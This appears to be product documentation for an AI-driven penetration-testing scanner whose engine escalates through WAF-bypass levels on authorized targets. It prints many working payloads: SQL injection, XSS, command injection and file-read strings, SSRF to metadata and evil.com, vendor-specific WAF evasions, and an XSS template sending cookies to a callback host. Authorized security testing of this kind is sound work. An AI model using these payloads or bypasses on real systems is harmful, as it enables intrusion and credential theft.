Adaptive Attack Engine

What Is the Adaptive Attack Engine?

Traditional vulnerability scanners operate on a fire-and-forget model: send a payload, read the response, report or move on. If a WAF blocks the payload or the application handles it differently than expected, the scanner records "not vulnerable" and never revisits that parameter.

PhantomYerra's Adaptive Attack Engine is fundamentally different. It behaves like a senior penetration tester: persistent, analytical, and creative. When a payload is blocked, the engine does not give up. It asks why it was blocked, identifies the blocking mechanism, selects or generates a bypass, and tries again — escalating through increasingly sophisticated techniques until it either confirms the vulnerability with proof or has genuinely exhausted every known approach.

Core Loop: Probe → Analyze Response → Learn (tech stack, WAF, filter) → Craft New Payload → Retry → Repeat until Confirmed or Exhausted

The engine applies to every parameter on every endpoint. Each parameter gets its own attack state machine, its own bypass escalation ladder, and its own history of what has been tried. Discoveries on one parameter inform attacks on every other parameter in the engagement.

Why This Matters

Real vulnerabilities hide behind filters. A SQL injection that is blocked by a WAF at Level 0 may succeed at Level 5 with a vendor-specific bypass. Traditional scanners never reach Level 5.
Partial signals are gold. A 403 instead of a 200 when testing IDOR tells the engine "authorization exists but may be bypassable." A different error message on a SQLi payload tells the engine "the input reached the query parser." These signals drive the next payload selection.
Context compounds. Once the engine learns the target runs PHP + MySQL behind Cloudflare, every subsequent SQLi payload is crafted for MySQL syntax with Cloudflare-specific evasion — not generic payloads wasted on the wrong database engine.

How to Use the Adaptive Attack Engine — Automated AI Mode

In Automated AI mode, Claude drives the Adaptive Attack Engine end-to-end. You configure the intensity, select attack categories, and launch. The engine handles state transitions, bypass escalation, cross-endpoint learning, and finding chain analysis autonomously.

Prerequisites

Claude API key configured and validated in Settings → AI Configuration
Written authorization token from the client (paste or upload in wizard)
Target URL / IP / scope defined in the Mission Control Wizard
All scan tools installed and verified (Settings → Tools → verify status)
Environment type selected: Test/Lab, Pre-Production, or Production

Step 1: Understand the Engine — State Machine Overview

Before launching, understand what the engine does under the hood. Every endpoint-parameter combination is tracked through a six-state machine. The engine never silently skips a parameter — every one receives a definitive classification.

STATE MACHINE: Per Endpoint x Parameter x Attack Class UNTESTED ──────────────────────────────────────────────────────────┐ │ │ │ Engine queues payloads for detected tech stack │ v │ PROBING ────────────────────────────────────────────────────────────┤ │ │ │ Response analyzed: status code, error messages, │ │ timing delta, content diff, header analysis │ v │ FILTER_DETECTED ────────────────────────────────────────────────────┤ │ │ │ WAF/filter identified: vendor, rule type, blocking pattern │ │ Bypass technique selected from escalation ladder │ v │ BYPASS_ATTEMPTING ──┬── Bypass succeeded ──> CONFIRMED │ │ │ │ │ └── Failed, more levels ──> (next level) │ │ │ │ All 8 levels exhausted │ v │ EXHAUSTED ──────────────────────────────────────────────────────────┘ (all bypass levels tried, no confirmation — "tested, not vulnerable")

Key distinction: EXHAUSTED is not "not vulnerable." It means "we tried every available technique and could not confirm." The full attempt history is included in the report, demonstrating thorough testing.

State	Visual Color	What It Means	Engine Action
UNTESTED	Gray	Endpoint-parameter not yet probed for this vulnerability class	Queue standard payloads tailored to the detected tech stack
PROBING	Blue	Baseline payloads sent, response analysis in progress	Analyze: HTTP status, error strings, timing deltas, content diffs, response headers
FILTER_DETECTED	Yellow	WAF, input filter, or validation is actively blocking payloads	Identify filter type and vendor. Select appropriate bypass level.
BYPASS_ATTEMPTING	Orange	Engine is escalating through the 8-level bypass ladder	Execute current level. If blocked, move to next level. If partial hit, refine within level.
CONFIRMED	Red	Vulnerability confirmed with captured evidence	Capture request/response pair, hash evidence, add to attack graph, attempt chaining.
EXHAUSTED	Green	All bypass levels attempted without confirmation — endpoint is clean for this class	Record full attempt history. Mark as "Tested — Not Vulnerable" with proof of all attempts.

Step 2: Configure Intensity Settings

In the Mission Control Wizard (Step 8: Review & Launch), select one of four intensity levels. This controls how aggressively the engine escalates through bypass levels, request timing, and technique breadth.

Intensity	Bypass Levels	Timing	Footprint	Best For
Stealth	0 – 2	Slow (2–5s delay between requests)	Minimal — avoids detection by IDS/SIEM	Production environments, red team engagements where stealth is required. Only standard payloads and basic encoding. No aggressive bypass techniques that could trigger alerts.
Standard	0 – 4	Normal (0.5–1s delay)	Moderate — typical scanner traffic pattern	Pre-production and staging environments. Includes URL encoding, double encoding, Unicode variants, and case manipulation. Covers most WAF bypass scenarios without deep evasion.
Aggressive	0 – 6	Fast (50–200ms delay)	Heavy — high request volume, advanced evasion	Test and lab environments. Adds WAF-vendor-specific bypasses and full technique pivots (error-based to blind to OOB). Uses all encoding tricks and multiple exploitation paths per vulnerability class.
Full	0 – 7+ (all levels)	Maximum (parallel, no delay)	Maximum — every technique, every variant	Dedicated test environments only. Includes AI-generated novel payloads, protocol-level evasion (HTTP smuggling, request desync), zero-day variant generation, and full payload mutation. This is the deepest possible test.

How to set intensity: Wizard Step 8 → Intensity slider → Select level OR Scan Dashboard → Settings gear icon → Intensity dropdown Default: Standard (Level 0-4) Production recommendation: Stealth (Level 0-2) Lab/QA recommendation: Aggressive or Full

Changing intensity mid-scan is supported. Click the settings gear on the Scan Dashboard and adjust the slider. The engine will apply the new ceiling to all subsequent bypass attempts without restarting.

Step 3: Select Attack Categories

Choose which vulnerability classes the Adaptive Attack Engine should test. Each category has its own payload library, bypass techniques, and chaining rules. Select all that are in scope.

Category	What the Engine Tests	Key Techniques
SQL Injection (SQLi)	All SQL dialects: MySQL, MSSQL, PostgreSQL, Oracle, SQLite. Tests every input parameter for error-based, blind boolean, time-based, UNION-based, stacked queries, second-order, and out-of-band injection.	UNION SELECT, WAITFOR DELAY, BENCHMARK(), extractvalue(), LOAD_FILE(), INTO OUTFILE, DNS OOB via xp_dirtree
Cross-Site Scripting (XSS)	Reflected, stored, DOM-based, mutation XSS (mXSS). Tests HTML context, attribute context, JavaScript context, URL context, and CSS context.	Script tags, event handlers (onerror, onfocus, ontoggle), JavaScript URIs, SVG/MathML injection, template literals, prototype pollution via DOM
Server-Side Template Injection (SSTI)	Detects template engine (Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, Thymeleaf, Smarty) and generates engine-specific payloads targeting RCE.	{{7*7}} detection, {{config.items()}}, ${T(java.lang.Runtime)}, #{root.getClass()}, Twig {system()}
Local/Remote File Inclusion (LFI/RFI)	Path traversal to read sensitive files (/etc/passwd, /etc/shadow, web.config, .env). Remote file inclusion to load attacker-controlled code. PHP wrapper abuse (php://filter, php://input, data://).	../../../etc/passwd, ....//....//etc/passwd, ..%252f traversal, null byte injection (%00), PHP wrappers, Windows UNC paths (\\attacker\share)
Command Injection	OS command injection in all contexts: Linux (bash, sh) and Windows (cmd, PowerShell). Tests pipe, semicolon, backtick, $() substitution, newline, and heredoc injection.	; id, \| cat /etc/passwd, $(whoami), `whoami`, %0aid, ${IFS} space bypass, PowerShell -enc base64
Server-Side Request Forgery (SSRF)	Tests URL parameters, webhook configs, PDF generators, image processors, and any feature that makes server-side HTTP requests. Targets cloud metadata, internal services, and localhost endpoints.	http://169.254.169.254, http://[::1], DNS rebinding, redirect chains, gopher://, URL parser confusion (http://evil.com@169.254.169.254)
XML External Entity (XXE)	Tests XML input points (SOAP endpoints, file uploads, SVG processing, DOCX/XLSX parsing) for entity expansion, file read, SSRF via XXE, and billion laughs DoS.	<!ENTITY xxe SYSTEM "file:///etc/passwd">, parameter entities, blind XXE via OOB (HTTP/DNS), XInclude, XSLT injection
Path Traversal	Directory traversal beyond LFI context: file download endpoints, file management APIs, image/document viewers, backup download paths.	../../../, ..%5c..%5c (Windows backslash), ..%c0%af (overlong UTF-8), absolute path override (/etc/passwd as filename), symlink following
Header Injection	Tests for header injection in redirect URLs, email headers, log entries, and any endpoint that reflects user input into HTTP response headers.	%0d%0aX-Injected: header, CRLF + Set-Cookie injection, response splitting, cache poisoning via injected headers
CRLF Injection	Tests for carriage return / line feed injection to manipulate HTTP responses, inject headers, perform response splitting, and enable cache poisoning attacks.	%0d%0a injection, %0aLocation:%20evil.com, log injection, HTTP response splitting
Open Redirect	Tests redirect parameters (url=, next=, return=, redirect_to=) for unvalidated redirects that enable phishing, OAuth token theft, and SSRF chaining.	Protocol-relative URLs (//evil.com), backslash URLs (http://target.com\@evil.com), URL encoding bypass, data: URIs, javascript: URIs
Prototype Pollution	Tests JavaScript applications for prototype pollution via query parameters, JSON body, and URL paths. Targets __proto__, constructor.prototype, and Object.assign chains.	__proto__[isAdmin]=true, constructor[prototype][isAdmin]=1, JSON merge pollution, lodash.merge exploitation
Deserialization	Tests for insecure deserialization in Java (ObjectInputStream), PHP (unserialize), Python (pickle), .NET (BinaryFormatter, JSON.NET), Ruby (Marshal), and Node.js (node-serialize).	Java gadget chains (ysoserial), PHP POP chains, Python pickle RCE, .NET TypeNameHandling, ViewState deserialization, cookie-based object injection

How to select attack categories: Wizard Step 3 → Attack Categories panel → Check/uncheck categories OR Scan Dashboard → Adaptive Engine Settings → Category toggles Default: All categories enabled Quick presets: "OWASP Top 10" / "Injection Only" / "All Categories"

Step 4: Configure WAF Detection

The engine auto-detects WAFs from response headers, error pages, and behavioral patterns. You can override the detection or pre-select a WAF vendor to skip detection and go straight to vendor-specific bypasses.

WAF Vendor	Detection Signals	Bypass Profile
Auto-Detect	Engine analyzes all response headers, status codes, error page content, and behavioral patterns to identify the WAF automatically.	Dynamically selects bypass techniques based on detected vendor. Falls back to generic multi-vendor testing if identification is uncertain.
Cloudflare	cf-ray header, cf-cache-status, Server: cloudflare, __cfduid cookie, challenge pages with CAPTCHA	Unicode normalization exploits, chunked transfer encoding, Cloudflare-specific event handlers not in blocklist (ontoggle, onpointerover), simple logic payloads avoiding keyword signatures
Akamai	AkamaiGHost server header, X-Akamai-* headers, Akamai reference ID in error pages	MySQL version comments (/!50000UNION/), variable-length SQL comments, HTTP/2 header manipulation, content-type mismatch attacks
AWS WAF	x-amzn-RequestId header, AWS error pages, CloudFront distribution ID	LIKE-based SQL comparisons instead of equality, JSON body with form content-type, oversized payload to exceed inspection buffer, chunked transfer encoding
Azure Front Door	X-Azure-Ref header, afd-* tracking headers, Azure-specific error templates	URL-encoded payloads in path segments, header injection via X-Original-URL, multi-part form data with boundary manipulation
ModSecurity	Server: Apache + mod_security, ModSecurity-specific error pages, OWASP CRS pattern in 403 bodies	Zero-version MySQL comments (/!0AND/), request splitting, tab/newline in SQL keywords, comment insertion mid-keyword (SE/**/LECT)
Imperva / Incapsula	X-CDN: Imperva, incap_ses_* cookies, visid_incap_* cookies, Incapsula incident ID	Null byte prefix (%00), HTTP parameter pollution, double URL encoding, request body in GET with content-length
F5 BIG-IP ASM	BigIP server cookie, TS* cookies, F5-specific error templates	HTTP desync (CL.TE), JSON injection via nested objects, Unicode fullwidth characters, cookie header overflow
Barracuda	barra_counter_session cookie, Barracuda-specific block pages	HPP (HTTP Parameter Pollution), payload fragmentation across parameters, multipart boundary injection
Sucuri	X-Sucuri-ID header, Sucuri block page with incident ID, sucuri-* cookies	Overlong UTF-8 encoding, null byte insertion, alternate HTTP methods (PATCH instead of POST), content-type switching
Fastly	X-Served-By: cache-, Fastly-Debug- headers, Via: varnish	Cache key poisoning, vary header manipulation, HTTP/2 pseudo-header injection, payload in fragment identifier
Fortinet / FortiWeb	FORTIWAFSID cookie, FortiWeb error page patterns	Double encoding, JSON/XML content-type confusion, transfer-encoding chunked with extensions, oversized cookie header

How to configure WAF detection: Wizard Step 8 → Advanced → WAF Configuration → "Auto-Detect" (recommended — engine identifies WAF in first 5 requests) → "Manual Override" → Select vendor from dropdown → "None Expected" → Skip WAF-specific bypasses, save time on unprotected targets Pre-selecting the correct WAF vendor saves 30-50 requests at the start of the scan.

5
Step 5: Launch and Monitor the State Machine

Click Launch Scan. The Scan Dashboard shows the Adaptive Attack Engine's state machine in real time. Every endpoint-parameter combination is displayed as a color-coded tile that transitions through states as the engine works.

SCAN DASHBOARD — Adaptive Attack Engine Panel ┌────────────────────────────────────────────────────────────────────┐ │ Adaptive Attack Engine Intensity: Aggressive [0-6] │ │ WAF: Cloudflare (auto-detected) Categories: 13/13 active │ ├────────────────────────────────────────────────────────────────────┤ │ │ │ /api/v1/users?id= │ │ SQLi: [████ BYPASS_ATTEMPTING L3] → Double-encoding bypass │ │ XSS: [████ CONFIRMED] → Reflected via ontoggle │ │ SSRF: [████ PROBING] → Testing URL parameter │ │ SSTI: [████ EXHAUSTED] → 6 levels tried, clean │ │ │ │ /api/v1/search?q= │ │ SQLi: [████ CONFIRMED] → Time-based blind (MySQL) │ │ XSS: [████ FILTER_DETECTED] → Cloudflare blocking <script>│ │ LFI: [████ UNTESTED] → Queued │ │ │ │ /api/v1/upload (file param) │ │ XXE: [████ BYPASS_ATTEMPTING L5] → Vendor-specific bypass │ │ CMDi: [████ PROBING] → Testing filename parameter │ │ │ │ Progress: 47/182 parameters tested | 3 Confirmed | 8 Active │ │ Bypass Level Distribution: L0: 12 L1: 3 L2: 5 L3: 2 L5: 1 │ │ Time elapsed: 00:14:32 | Estimated remaining: 00:38:00 │ └────────────────────────────────────────────────────────────────────┘

Real-Time Monitoring Features
- State Tiles: Each endpoint-parameter shows its current state with color coding. Click any tile to see the full payload history, responses received, and engine decisions.
- Bypass Level Indicator: Orange tiles show which bypass level is currently being attempted (L0 through L7).
- Live Activity Feed: Scroll the activity panel to see every payload sent, every response analyzed, and every engine decision in real time.
- Toast Notifications: Critical and high-severity confirmations trigger immediate desktop notifications.
- Attack Graph: Click "Attack Graph" tab to see confirmed findings linked into chains as they are discovered.

Step 6: Cross-Endpoint Learning in Action

As the engine works, it propagates every discovery across all endpoints. You can observe this on the dashboard when untested endpoints suddenly jump from Level 0 to a higher bypass level — the engine is applying what it learned elsewhere.

Discovery at Endpoint A	What Propagates	Effect on All Other Endpoints	Example
WAF vendor identified as Cloudflare	WAF profile + known bypass set	All future payloads skip Level 0-4 and start at Level 5 (Cloudflare-specific bypasses)	/api/users → WAF Cloudflare detected. Now /api/orders, /api/admin, /api/search all start with Cloudflare bypass payloads.
Database detected as MySQL 8.0	SQL dialect + version-specific functions	All SQLi payloads switch to MySQL syntax. MSSQL and PostgreSQL payloads removed from queue.	/login SQLi reveals MySQL. Now /search, /products, /checkout all use MySQL-specific UNION, BENCHMARK(), LOAD_FILE().
Level 3 bypass (Unicode) succeeded	Successful encoding technique	All remaining untested parameters try Unicode encoding first before falling back to lower levels.	Fullwidth apostrophe (%ef%bc%87) worked on /api/users. Engine tries it first on /api/orders before standard payloads.
Session token extracted via SQLi	Authentication credentials	Engine uses the token to test authenticated endpoints, IDOR, privilege escalation, and admin functionality.	Admin session cookie extracted from users table. Engine now accesses /admin/dashboard and tests for additional vulns behind auth.
Rate limit detected at 100 req/min	Request timing constraints	All endpoints throttle to 90 req/min to stay below the limit and avoid IP bans.	/api/v1 returns 429 at 100 req/min. All /api/v2, /api/admin, /app endpoints adjust timing globally.
Error message reveals PHP 8.1	Server language + version	All SSTI payloads switch to PHP engines (Twig, Blade). LFI payloads add PHP wrapper tests. Deserialization tests use PHP POP chains.	Stack trace on /debug shows PHP 8.1. Now all endpoints add php://filter, php://input, and PHP-specific type juggling payloads.

Efficiency impact: Cross-endpoint learning reduces total requests by 40-60% on average. Without learning, 1,000 endpoints x 13 attack categories x 200 payloads = 2.6M requests. With learning, the engine skips payloads known to be blocked and prioritizes payloads known to succeed, often completing the same scope in 800K–1.2M requests.

7
Step 7: Review Attack Chains

The Finding Chain Engine automatically links confirmed vulnerabilities into attack paths. Each chain shows how an initial finding can be escalated to maximum business impact.

Click the Attack Graph tab on the Scan Dashboard to see chains as they form. Each node is a confirmed finding. Each edge shows how one finding enabled the next.

ATTACK CHAIN VIEW — Example: SQLi to Full Compromise [SQL Injection] ─────→ [Database Enumeration] ─────→ [Credential Extraction] /api/login information_schema users table: admin/bcrypt username param 3 databases found password hash extracted Level 2 bypass │ │ │ v │ [Hash Cracking / Reuse] │ admin:P@ssw0rd123 │ │ │ v │ [Admin Panel Access] │ /admin/dashboard │ full admin privileges │ │ │ v │ [File Upload → RCE] │ webshell uploaded └────────────────────────────────────────────→ FULL COMPROMISE Impact: Initial low-privilege SQL injection escalated to remote code execution CVSS Chain Score: 9.8 (Critical) — reflects the full chain, not individual findings

How Chain Scoring Works
- Individual CVSS: Each finding gets its own CVSS score.
- Chain CVSS: The complete chain is scored based on the maximum achievable impact when all links are exploited in sequence. A medium SQLi + medium hash exposure + low admin access = critical chain.
- Business Impact: Claude writes a narrative for each chain describing the real-world business impact in terms the client's executive team can understand.
8
Step 8: Export Results

When the scan completes (all parameters reach CONFIRMED or EXHAUSTED), export the results. Every finding includes the full Adaptive Attack Engine context.

EXPORT INCLUDES — Per Finding: Finding ID: PY-2024-0047 Severity: Critical (CVSS 9.1) Vulnerability Class: SQL Injection (Time-Based Blind) Endpoint: POST /api/v1/users/search Parameter: q (body, JSON) Bypass Technique: Level 3 — Unicode fullwidth apostrophe (%ef%bc%87) Original Payload: ' OR SLEEP(5)-- (blocked by Cloudflare at L0) Final Payload: %ef%bc%87 OR BENCHMARK(10000000,SHA1(%ef%bc%871%ef%bc%87))-- State Transitions: UNTESTED → PROBING → FILTER_DETECTED → BYPASS_ATTEMPTING (L1, L2, L3) → CONFIRMED Total Attempts: 34 payloads sent before confirmation WAF Detected: Cloudflare (cf-ray header) Evidence: Request: POST /api/v1/users/search HTTP/1.1 ... Response: HTTP/1.1 200 OK (response time: 5,014ms vs baseline 120ms) Proof: 5-second delay confirms time-based blind injection Attack Chain: Links to PY-2024-0048 (Database Enumeration) Remediation: 1. Use parameterized queries (PreparedStatement / PDO::prepare) 2. Apply input validation: whitelist alphanumeric for search parameter 3. Configure Cloudflare WAF custom rule for time-based patterns

Report Types
- Executive Summary: High-level findings, chain analysis, business impact, risk rating.
- Technical Report: Full finding detail, payloads used, bypass techniques, evidence, remediation steps.
- Compliance Report: Maps findings to OWASP Top 10, PCI DSS, NIST, SOC 2, ISO 27001 controls.
- Remediation Tracker: Exportable CSV/JIRA/ServiceNow format for tracking fix progress.

What Claude AI Does in Automated Mode

Analyzes target tech stack and selects optimal attack categories automatically
Identifies WAF vendor from initial probe responses and loads vendor-specific bypass profile
Generates novel payloads at Level 7 when standard bypass levels fail
Chains findings into attack paths and calculates composite CVSS scores
Writes professional narrative for each confirmed finding explaining business impact
Decides when to pivot techniques vs. escalate bypass levels based on response analysis
Manages cross-endpoint learning: propagates discoveries to optimize remaining tests
Generates the complete report with executive summary and remediation roadmap

⏱ Typical duration: 45–180 minutes depending on target size, number of parameters, intensity level, and WAF complexity. A 50-endpoint API at Standard intensity typically completes in 60–90 minutes.

Semi-Automated Mode — Approve Bypass Escalations

In Semi-Automated mode, the Adaptive Attack Engine runs the state machine but pauses at key decision points for your approval. You control when the engine escalates to higher bypass levels, ensuring you have full visibility and authority over aggressive techniques.

Prerequisites

Same prerequisites as Automated AI mode
Select "Semi-Automated" in the Mission Control Wizard (Step 2: Mode)
Monitor the Scan Dashboard actively — the engine pauses and waits for your input

1

Step 1: Launch with Semi-Automated Mode Selected

Complete the Mission Control Wizard with all the same configuration as Automated mode (intensity, categories, WAF settings). Select Semi-Automated at Step 2. The engine begins by running Levels 0–2 (basic payloads and encoding) autonomously without pausing.

What runs without approval: Level 0: Standard payloads (canonical for detected tech stack) Level 1: URL-encoded variants Level 2: Double-URL-encoded variants What requires approval: Level 3+: Unicode/UTF-8 variants, case manipulation, WAF-specific, technique pivot, AI-generated Cross-endpoint learning: "Apply successful bypass to 12 other endpoints?" → [Approve] / [Skip] Finding chain: "SQLi confirmed — attempt database enumeration?" → [Approve] / [Limit] / [Skip]
2
Step 2: Review and Approve Bypass Escalation Proposals

When the engine detects a filter and wants to escalate beyond Level 2, a proposal card appears on the Scan Dashboard. Each card shows:
- The endpoint and parameter under test
- The current bypass level and what was tried
- The proposed next level and specific techniques it will use
- The number of additional requests this level will generate
- Risk assessment (will this trigger alerts, rate limits, or bans?)
PROPOSAL CARD: Endpoint: POST /api/v1/users/search (q parameter) Current: Level 2 (Double-URL-Encoded) — BLOCKED Proposed: Level 3 (Unicode/UTF-8 Variants) Techniques: Fullwidth characters, overlong UTF-8, HTML entities, homoglyphs Requests: ~18 additional payloads Risk: Low (no aggressive techniques, unlikely to trigger rate limits) [Approve] [Skip This Level] [Skip This Parameter] [Stop Engine]

Click Approve to let the engine proceed. Click Skip This Level to jump to the next level. Click Skip This Parameter to mark it as EXHAUSTED and move on.
3

Step 3: Approve or Limit Finding Chain Escalation

When a vulnerability is confirmed, the engine proposes exploitation and chaining steps. In Semi-Automated mode, each chain link requires approval.

CHAIN PROPOSAL: Confirmed: SQL Injection at /api/v1/login (username parameter) Proposed Chain: Step 1: Enumerate databases via information_schema [Approve] [Skip] Step 2: Extract user table columns [Approve] [Skip] Step 3: Dump first 10 rows (sample, not full dump) [Approve] [Limit] [Skip] Step 4: Test credential reuse on /admin [Approve] [Skip] [Approve All] [Review Each] [Stop Chain — Report SQLi Only]

Click Review Each to approve steps one at a time. Click Limit on any step to constrain it (e.g., extract only column names, no data). Click Stop Chain to report only the initial finding.
4

Step 4: Review Results and Export

All findings include the same detail as Automated mode: bypass technique used, original vs. final payload, evidence, and chain context. The report additionally notes which escalations were approved and which were skipped, providing full audit trail of the tester's decisions.

Semi-Automated mode is recommended for production environments where you need full control over aggressive techniques, and for compliance engagements where the tester's decision log is part of the audit evidence.

⏱ Typical duration: 60–240 minutes. Longer than Automated due to approval pauses. Reduce wait time by approving common escalations in batch (Approve All for Level 3–4, review individually for Level 5+).

Manual Mode — Full Control Over Bypass Levels

In Manual mode, you are the operator. The Adaptive Attack Engine provides the state machine visualization, payload encoding tools, and bypass technique library, but you select the level, craft the payloads, choose the endpoints, and decide when to escalate or stop. This mode is for experienced penetration testers who want the engine's intelligence without automation.

Prerequisites

Authorization token from client
Target URL / IP / scope defined
Claude API key is optional (enables AI payload generation at Level 7, but not required)
Familiarity with bypass encoding techniques and WAF evasion

1

Step 1: Select Specific Bypass Level to Start From

Open the Adaptive Engine panel from the Manual Tools sidebar. Instead of starting at Level 0, you can jump directly to any bypass level. Useful when you already know the WAF vendor or have prior reconnaissance.

Manual Level Selection: Tools → Adaptive Engine → Bypass Level Selector Level 0: Standard Payloads ← Default start Level 1: URL-Encoded Level 2: Double-URL-Encoded Level 3: Unicode / UTF-8 Level 4: Case + Comments Level 5: WAF-Vendor-Specific ← Jump here if you know the WAF Level 6: Technique Pivot Level 7: AI-Generated ← Requires Claude API key [Start at Level: ___] [Select WAF Vendor: ___]

Starting at Level 5 with the correct WAF vendor pre-selected saves significant time when you have already identified the WAF through external reconnaissance.
2

Step 2: Craft Custom Payloads Using Encoding Tools

Use the built-in encoding/obfuscation toolkit to craft payloads manually. The toolkit provides real-time encoding preview and supports chaining multiple encoding steps.

ENCODING TOOLKIT (Tools → Payload Encoder): Input payload: ' OR 1=1-- Encoding chain (stackable — apply multiple in order): [x] URL Encode → %27%20OR%201%3D1-- [x] Double URL Encode → %2527%2520OR%25201%253D1-- [ ] Unicode Fullwidth → %ef%bc%87 OR 1=1-- [ ] Overlong UTF-8 → %c0%a7 OR 1=1-- [ ] HTML Entities → ' OR 1=1-- [ ] Base64 → JyBPUiAxPTEtLQ== [ ] Hex → 0x27204f5220313d312d2d [ ] Case Randomize → ' oR 1=1-- [ ] SQL Comment Insert → '/**/OR/**/1=1-- [ ] Null Byte Prefix → %00' OR 1=1-- Final payload: %2527%2520OR%25201%253D1-- [Copy to Clipboard] [Send to Endpoint] [Add to Custom List]
3

Step 3: Test Individual Endpoints with Specific Techniques

Select an endpoint from the discovered endpoint list (or enter one manually). Choose the attack class and send your crafted payload. The engine displays the full request/response with diff highlighting against the baseline response.

MANUAL TEST PANEL: Endpoint: POST /api/v1/users/search Parameter: q (body) Method: POST Content-Type: application/json Headers: [Authorization: Bearer ey...] [Content-Type: application/json] [Custom-Header: value] Body: {"q": "%ef%bc%87 OR BENCHMARK(10000000,SHA1(%ef%bc%871%ef%bc%87))--"} [Send Request] ─── RESPONSE ────────────────────────────────────────── Status: 200 OK Time: 5,014 ms (baseline: 120 ms) ← TIMING ANOMALY DETECTED Body size: 2,341 bytes (baseline: 2,341) Engine Assessment: PROBABLE TIME-BASED BLIND SQL INJECTION Confidence: HIGH (4.9s delay matches BENCHMARK payload) [Mark as Confirmed] [Retest with Variation] [Mark as False Positive]
4

Step 4: Configure Custom WAF Bypass Rules

If you discover a WAF bypass technique that is not in the built-in library, add it as a custom rule. Custom rules are stored per project and can be exported for reuse.

CUSTOM BYPASS RULE EDITOR (Tools → Adaptive Engine → Custom Rules): Rule Name: Cloudflare Nov 2024 — ontoggle bypass WAF Vendor: Cloudflare Attack Class: XSS Bypass Level: 5 (WAF-Vendor-Specific) Pattern: <details open ontoggle=PAYLOAD> Payload Template: <details open ontoggle=fetch('https://CALLBACK/'+document.cookie)> Notes: Cloudflare does not inspect ontoggle event handler as of Nov 2024. Works on Chrome, Firefox, Edge. Not on Safari (no ontoggle support). [Save Rule] [Test Against Target] [Export Rule]
5

Step 5: Add Custom Payload Lists

Import your own payload lists to extend the engine's library. Supports text files (one payload per line), JSON arrays, and Burp Suite intruder format.

CUSTOM PAYLOAD IMPORT (Tools → Adaptive Engine → Payload Manager): Import from: [x] Text file (one payload per line) [ ] JSON array [ ] Burp Suite Intruder export [ ] SecLists directory (auto-categorize) File: /path/to/custom-sqli-mysql-bypasses.txt Category: SQL Injection Sub-category: MySQL-specific Bypass Level: 4 (Case + Comments) Preview (first 5): 1. ' /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3-- 2. ' aNd/**/ '1'='1 3. '%0bOR%0b1=1-- 4. ' || (SELECT 1 FROM dual WHERE 1=1)-- 5. 0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z Total payloads: 847 [Import] [Import & Deduplicate Against Existing]
6

Step 6: Chain Findings Manually

In Manual mode, findings are not automatically chained. Use the Attack Graph Builder to manually link related findings into attack paths.

ATTACK GRAPH BUILDER (Findings → Attack Graph tab): 1. Select first finding: [PY-2024-0047: SQLi at /api/login] 2. Click "Add Link" 3. Select next finding: [PY-2024-0048: DB Enum via SQLi] 4. Define relationship: "SQLi enabled database enumeration" 5. Click "Add Link" 6. Select next finding: [PY-2024-0049: Credential Extraction] 7. Define relationship: "DB access enabled credential extraction" Chain Summary: SQLi → DB Enum → Cred Extract Chain CVSS: 9.1 (Critical) Business Impact: Full database access, credential exposure [Save Chain] [Generate Chain Report] [Export as Graph Image]

You can combine manual and engine chains. If you confirm a finding manually and the engine later confirms a related finding, the engine will suggest linking them in the attack graph.

⏱ Duration varies based on tester pace. A manual assessment of a 20-endpoint API with full bypass testing typically takes 4–8 hours.

Bypass Escalation Ladder — Complete Reference

This table shows all 8 levels with techniques, example payloads for SQL Injection and XSS, and the trigger condition that causes the engine to advance to the next level.

Level	Name	Techniques	SQLi Example	XSS Example	Advances When
0	Standard Payloads	Canonical payloads for the detected tech stack. No encoding or obfuscation. Textbook payloads from OWASP and security research.	`' OR 1=1--` `'; WAITFOR DELAY '0:0:5'--`	`<script>alert(1)</script>` `<img src=x onerror=alert(1)>`	Response returns 403, WAF block page, or payload is reflected but sanitized
1	URL Encoding	Single URL encoding of special characters. Bypasses naive string-matching filters that check literals without decoding.	`%27%20OR%201%3D1--`	`%3Cscript%3Ealert(1)%3C%2Fscript%3E`	Same blocking pattern — filter decodes before checking
2	Double URL Encoding	Encode the percent signs themselves. Bypasses filters that decode once but the application decodes a second time.	`%2527%2520OR%25201%253D1--`	`%253Cscript%253Ealert(1)%253C%252Fscript%253E`	Still blocked — filter handles double decoding
3	Unicode / UTF-8 Variants	Overlong UTF-8, fullwidth characters, Unicode homoglyphs, HTML entities. Exploits character normalization differences between WAF and application.	`%ef%bc%87 OR 1=1--` (fullwidth apostrophe) `%c0%a7 OR 1=1--` (overlong)	`<script>alert(1)` `＜script＞` (fullwidth tags)	Still blocked — WAF normalizes Unicode
4	Case Manipulation + SQL Comments	Mixed case keywords, inline comments to break signature patterns, whitespace alternatives (tab, newline, %0b), concatenation tricks.	`'//oR//1=1--` `' UnIoN// SeLeCt//NULL--`	`<ScRiPt>alert(1)</ScRiPt>` `<img/src=x oNeRrOr=alert(1)>`	Still blocked — WAF uses case-insensitive + comment-aware matching
5	WAF-Vendor-Specific Bypass	Known bypasses for the identified WAF vendor. Each vendor has a curated set of techniques that exploit gaps in their specific rule set.	`Cloudflare: ' AND 1=1 AND '1'='1` `Akamai: '/!50000UNION/SELECT 1,2,3--` `AWS: ' OR '1'LIKE'1`	`Cloudflare: <details open ontoggle=alert(1)>` `ModSecurity: <svg/onload=alert(1)>`	Still blocked — vendor has patched known bypass
6	Technique Pivot	Switch exploitation technique entirely. Instead of encoding the same payload differently, use a completely different approach to the same vulnerability class.	Error-based → Blind boolean → Time-based → Out-of-band (DNS/HTTP) → Stacked queries → Second-order	Reflected → DOM-based → mXSS (mutation) → SVG/MathML → JavaScript URI → CSS injection	All technique variants attempted — no standard approach works
7	AI-Generated Novel Payload	Claude AI receives full context (tech stack, WAF, all payloads tried, all responses) and generates completely novel payloads designed specifically for this exact target configuration. Falls back to 2,000+ static bypass library without AI key.	AI generates: PHP type juggling + MySQL implicit cast + BENCHMARK() instead of SLEEP() (Cloudflare-specific)	AI generates: mutation XSS exploiting browser-specific DOM parsing quirks + WAF-blind event handler	AI exhausts ideas — moves to protocol-level evasion

Protocol-Level Evasion (Level 7+): The highest escalation includes HTTP/2 header smuggling, chunked transfer encoding manipulation, CL.TE / TE.CL request smuggling desync, HTTP/2 CONTINUATION frame flood, content-type mismatch attacks, and oversized headers exceeding WAF inspection buffers. These techniques bypass the WAF entirely by exploiting differences in how the WAF and origin server parse HTTP itself.

WAF Vendor Bypass Reference

The engine maintains a curated bypass profile for each major WAF vendor, updated regularly with newly discovered evasion techniques. This table shows the primary bypass strategies per vendor.

